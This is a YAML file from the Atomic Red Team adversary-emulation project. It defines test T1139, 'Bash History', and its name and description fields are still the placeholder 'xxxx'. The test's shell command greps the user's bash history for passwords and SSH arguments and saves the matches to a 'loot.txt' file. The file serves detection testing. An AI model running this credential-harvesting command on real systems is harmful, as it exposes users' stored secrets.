Files
atomic-red-team/atomics/T1139/T1139.yaml
T
2018-05-23 17:09:04 -06:00

29 lines
736 B
YAML

---
attack_technique: t1139
display_name: Bash History
atomic_tests:
- name: xxxx
description: |
xxxx
supported_platforms:
- linux
- macos
input_arguments:
bash_history_filename:
description: Path of the bash history file to capture
type: Path
default: ~/.bash_history
bash_history_grep_args:
description: grep arguments that filter out specific commands we want to capture
type: Path
default: -e '-p ' -e 'pass' -e 'ssh'
output_file:
description: Path where captured results will be placed
type: Path
default: ~/loot.txt
executor:
name: sh
command: |
cat #{bash_history_filename} | grep #{bash_history_grep_args} > #{output_file}